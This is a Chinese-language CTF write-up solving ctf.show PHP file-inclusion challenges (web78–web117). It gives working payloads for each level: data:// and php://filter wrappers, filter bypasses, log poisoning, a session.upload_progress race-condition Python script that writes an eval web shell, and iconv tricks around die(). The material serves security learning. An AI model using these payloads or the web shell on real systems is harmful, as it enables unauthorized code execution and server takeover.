# web78
<?php | |
if(isset($_GET['file'])){ | |
$file = $_GET['file']; | |
include($file); | |
}else{ | |
highlight_file(__FILE__); | |
} |
data:
从 PHP5.2.0 起,数据封装流就开始有效,用于数据流的读取。
如果传入的都是 PHP 代码,就会执行任意代码
?file=data://text/plain,<?php system('tac flag.php');?>
php://filter 是元封装器,设计用于数据流打开时筛选过滤应用,对本地磁盘文件进行读写
?file=php://filter/read=convert.base64-encode/resource=flag.php
# web79
<?php | |
if(isset($_GET['file'])){ | |
$file = $_GET['file']; | |
$file = str_replace("php", "???", $file); | |
include($file); | |
}else{ | |
highlight_file(__FILE__); | |
} |
payload:
file=data://text/plain,<?=`cat flag.php`?>
这里还是使用 data,因为过滤了 php 所以这里使用短标签
<?= ?>等同于<?php echo ?>
这里的第一行仅起屏蔽报错的作用,为了方便展示加上的,没有也能正常输出
# web80
<?php | |
if(isset($_GET['file'])){ | |
$file = $_GET['file']; | |
$file = str_replace("php", "???", $file); | |
$file = str_replace("data", "???", $file); | |
include($file); | |
}else{ | |
highlight_file(__FILE__); | |
} |
对着干了属于是,这里将能用的伪协议给都替换了
这里看到是 nginx 服务器,nginx 有两个日志文件,一个 access.log 用来记录每次成功的请求信息,包括 IP 地址,时间,浏览器等信息,一个 error.log 记录异常信息
ua 头也会在 access 文件中
看到 flag 应该在 fl0g.php 中
# web81
<?php | |
if(isset($_GET['file'])){ | |
$file = $_GET['file']; | |
$file = str_replace("php", "???", $file); | |
$file = str_replace("data", "???", $file); | |
$file = str_replace(":", "???", $file); | |
include($file); | |
}else{ | |
highlight_file(__FILE__); | |
} |
多 ban 了一个:emmmm 似乎没啥用?因为这个难度应该是一层一层增加的才是,那么这个:到底增加在哪呢?再回去看看 80 题
$file = str_replace("php", "???", $file); | |
$file = str_replace("data", "???", $file); |
这里替换,我反复斟酌后发现我没有考虑到最简单的办法,大小写绕过,回去试试
读取 flag
那这一题用上一题的方法就行了
flag 没换地方,冲
# web82
因为环境问题,这几个到晚上才补上
<?php | |
if(isset($_GET['file'])){ | |
$file = $_GET['file']; | |
$file = str_replace("php", "???", $file); | |
$file = str_replace("data", "???", $file); | |
$file = str_replace(":", "???", $file); | |
$file = str_replace(".", "???", $file); | |
include($file); | |
}else{ | |
highlight_file(__FILE__); | |
} |
这里前面的利用方式都给过滤的差不多了,可以使用 session.upload_progress 文件来文件包含,首先来聊一聊下面这几个 php.ini 中的配置
1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
第一个,为 on 表示 upload_progress 功能开启,即上传文件时会将文件的详细信息,上传进度存入 session 中
第二个,为 on 表示再会话结束后会将文件中的内容清空处理
第三个,session.upload_progress.prefix,设置上传文件内容的前缀
第四个,session.upload_progress.name 的值即为 session 中的键值
了解过这几个重要的配置文件后,我们说一说怎么利用
php.ini 中 session.use_strict_mode
选项默认是 0,也就意味着我们可以自定义 SESSIONID,着有什么用呢?
在 Linux 中 session 的默认储存位置一般有下面四个
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
用户在 cookie 中设置 sessionid=flag,那么 PHP 就会生成一个文件 /tmp/sess_flag, 这时就完成了初始化,并写入 ini.get (“session.upload_progress.prefix”)+ 由我们构造的 session.upload_progress.name 值,但是 session.upload_progress.cleanup = on 会清空文件内容,那么这里就需要用到条件竞争的思想了,创建表单上传临时文件
<!DOCTYPE html> | |
<html> | |
<body> | |
<form action="http://4ac09838-e15e-4a7d-b82e-1a154d432e4d.challenge.ctf.show/" method="POST" enctype="multipart/form-data"> | |
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value=" <?php system('ls'); ?>" /> | |
<input type="file" name="file" /> | |
<input type="submit" value="submit" /> | |
</form> | |
</body> | |
</html> |
不断的上传,不断访问
同理,看 flag
import io | |
import sys | |
import requests | |
import threading | |
sessid = 'Qftm' | |
def POST(session): | |
while True: | |
f = io.BytesIO(b'a' * 1024 * 50) | |
session.post( | |
'http://250307c3-cf87-4811-987f-20189fa2442c.chall.ctf.show/', | |
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"}, | |
files={"file":('q.txt', f)}, | |
cookies={'PHPSESSID':sessid} | |
) | |
def READ(session): | |
while True: | |
response = session.get(f'http://250307c3-cf87-4811-987f-20189fa2442c.chall.ctf.show/?file=/tmp/sess_{sessid}') | |
if 'flag' not in response.text: | |
print('[+++]retry') | |
else: | |
print(response.text) | |
sys.exit(0) | |
with requests.session() as session: | |
t1 = threading.Thread(target=POST, args=(session, )) | |
t1.daemon = True | |
t1.start() | |
READ(session) |
这里附上大佬的脚本,可以梭哈
# web83
源码没变,但是多了一条报错,这里是因为没有开启 session,加上 session_start () 即可
<!DOCTYPE html>
<html>
<body>
<form action="http://4ac09838-e15e-4a7d-b82e-1a154d432e4d.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value=" <?php system('ls'); ?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php session_start(); ?>
# web87
<?php | |
if(isset($_GET['file'])){ | |
$file = $_GET['file']; | |
$content = $_POST['content']; | |
$file = str_replace("php", "???", $file); | |
$file = str_replace("data", "???", $file); | |
$file = str_replace(":", "???", $file); | |
$file = str_replace(".", "???", $file); | |
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content); | |
}else{ | |
highlight_file(__FILE__); | |
} |
看到 filter 和 die 就感觉不简单,这不就是死亡 die,用 php://filter 即可,可以去看一下我的 php://filter 过 exit - Web | Clown の Blog = (xcu.icu) 这篇文章,这里 url 要进行两次编码
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
content=AAPD9waHAgc3lzdGVtKCdscycpOyA/Pg==
content=AAPD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4=
# web88
<?php | |
if(isset($_GET['file'])){ | |
$file = $_GET['file']; | |
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){ | |
die("error"); | |
} | |
include($file); | |
}else{ | |
highlight_file(__FILE__); | |
} |
emmm 这题,所实话变的有点突然,data 流解决
?file=data://text/input;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4
# web117
web116 有些离谱,我没记录,misc-web666
<?php | |
highlight_file(__FILE__); | |
error_reporting(0); | |
function filter($x){ | |
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){ | |
die('too young too simple sometimes naive!'); | |
} | |
} | |
$file=$_GET['file']; | |
$contents=$_POST['contents']; | |
filter($file); | |
file_put_contents($file, "<?php die();?>".$contents); |
正则掉了很多过滤器,可以选择没有过滤的,绕死亡函数的原理都是一样的
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php post:contents=?<hp pvela$(P_SO[T]1;)>?